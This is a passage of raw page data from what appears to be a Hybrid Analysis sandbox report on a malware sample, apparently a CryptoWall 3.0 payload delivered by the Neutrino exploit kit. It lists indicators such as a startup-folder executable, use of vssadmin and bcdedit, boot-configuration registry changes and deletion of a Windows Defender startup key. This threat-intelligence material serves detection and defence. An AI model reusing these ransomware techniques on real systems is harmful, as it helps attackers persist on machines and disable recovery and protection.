Menu\\Programs\\Startup\\83f8815d.exe","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"path":"C:\\2015_08_19_neutrino_ek_payload_cryptowall_3.0.exe","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"path":"%WINDIR%\\system32\\svchost.exe","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"path":"%WINDIR%\\System32\\vssadmin.exe","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"path":"\\SystemRoot\\AppPatch\\sysmain.sdb","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"path":"%WINDIR%\\System32\\bcdedit.exe","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"path":"%WINDIR%\\System32\\en-US\\vssadmin.exe.mui","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"path":"%WINDIR%\\system32\\en-US\\KERNELBASE.dll.mui","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\index.dat","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History\\History.IE5\\index.dat","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"path":"Nsi","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"path":"%WINDIR%\\system32\\en-US\\urlmon.dll.mui","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\IETldCache\\index.dat","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"path":"\\Device\\Afd\\AsyncConnectHlp","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\etjn2ke@conopizzavenezuela[1].txt","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\etjn2ke@majorleaguehomerepair[1].txt","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"path":"\\Device\\RasAcd","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"path":"\\Device\\NetBT_Tcpip_{D0B53124-E232-49FC-9EA9-75FA32C7C6C3}","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"path":"\\Device\\NetBT_Tcpip6_{72D885C2-0AEC-4510-95D5-BF120A963535}","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"path":"\\Device\\NetBT_Tcpip6_{9C9C1D9A-E45A-41F9-8D98-D3B6EA5D768D}","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"path":"\\Device\\NetBT_Tcpip6_{D0B53124-E232-49FC-9EA9-75FA32C7C6C3}","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\etjn2ke@conopizza[1].txt","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\etjn2ke@www.conopizza[1].txt","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"path":"\\Device\\Afd\\Endpoint","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLM\\BCD00000000\\OBJECTS\\{72D3F4C1-B53F-11E4-B6D9-9157CA704B30}\\ELEMENTS\\16000009\\","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"}]},{"key":"HKLM\\BCD00000000\\OBJECTS\\{72D3F4C1-B53F-11E4-B6D9-9157CA704B30}\\ELEMENTS\\250000E0\\","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"}]}],"keys_modified":null,"keys_deleted":[{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\\WINDOWS DEFENDER\\WINDOWS DEFENDER","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"}]}]},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]}]}},"report_ids":{"sandbox_job_ids":["57ab559554a0ade0f1893e58","55d4d80b0e316dbb76ecc52d"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Win/malicious_confidence_100% Sample 65e882dce05d… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 65e882dce05d…. Malware family: Win/malicious_confidence_100%. Threat score 100/100. 20/29 AV engines flagged this file. 14 malicious and 20 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/65e882dce05d76e49d2e1695012784f2b4c83f2271748f118b3965f3ed241529"}],["$","meta","4",{"property":"og:title","content":"Malicious Win/malicious_confidence_100% Sample 65e882dce05d… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 65e882dce05d…. Malware family: Win/malicious_confidence_100%. Threat score 100/100. 20/29 AV engines flagged this file. 14 malicious and 20 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/65e882dce05d76e49d2e1695012784f2b4c83f2271748f118b3965f3ed241529"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Win/malicious_confidence_100% Sample 65e882dce05d… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 65e882dce05d…. Malware family: Win/malicious_confidence_100%. Threat score 100/100. 20/29 AV engines flagged this file. 14 malicious and 20 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L29","11",{}]]